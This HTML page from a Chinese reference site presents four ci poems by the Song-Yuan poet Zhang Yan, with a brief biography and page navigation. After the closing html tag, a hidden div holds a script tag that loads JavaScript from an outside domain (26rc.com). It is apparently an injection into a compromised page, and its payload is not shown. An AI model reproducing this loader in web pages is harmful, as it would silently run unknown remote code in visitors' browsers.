<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-张炎</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>张炎</strong></span></div>

	<div class="Cont_tit sc">
		<h1>张炎</h1>
		<span>(1248～约1320) 中国宋元间词人。字叔夏，号玉田，又号乐笑翁。临安(今浙江杭州)人。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>月下笛</strong></div><div class="sc_det_cont">万里孤云，清游渐远，故人何处？寒窗梦里，犹记经行旧时路。连昌约略无多柳，第一是难听夜雨。漫惊回凄悄，相看烛影，拥衾无语。<br/>张绪归何暮？半零落依依，断桥鸥鹭。天涯倦旅，此时心事良苦。只愁重洒西州泪，问杜曲人家在否？恐翠袖天寒，犹倚梅花那树。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>八声甘州</strong></div><div class="sc_det_cont">记玉关、踏雪事清游，寒气脆貂裘。傍枯林古道，长河饮马，此意悠悠。短梦依然江表，老泪洒西州。一字列题处，落叶都愁。<br/>载取白云归去，问谁留楚佩，弄影中洲？折芦花赠远，零落一身秋。向寻常、野桥流水，待招来、不是旧沙鸥。空怀感，有斜阳处，却怕登楼。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>渡江云</strong></div><div class="sc_det_cont">山空天入海，倚楼望极，风急暮潮初。一帘鸠外雨，几处闲田，隔水动春锄。新烟禁柳，想如今、绿到西湖。犹记得、当年深隐，门掩两三株。<br/>愁余，荒洲古溆，断梗疏萍，更漂流何？空自觉围羞带减，影怯烟孤。长疑即见桃花面，甚近来翻无书。书纵远，如何梦也都无。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>高阳台</strong></div><div class="sc_det_cont">西湖春感<br/>接叶巢莺，平波卷絮，断桥斜日归船。能几番游？看花又是明年。东风且伴蔷薇住，到蔷薇、春已堪怜。更凄然，万绿西冷，一抹荒烟。<br/>当年燕子知何处？但苔深韦曲，草暗斜川。见说新愁，如今也到鸥边。无心再续笙歌梦，掩重门、浅醉闲眠。莫开帘，怕见飞花，怕听啼鹃。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>张炎</span>&nbsp; &nbsp; 宋词翻页： [<a href="24_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/2</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>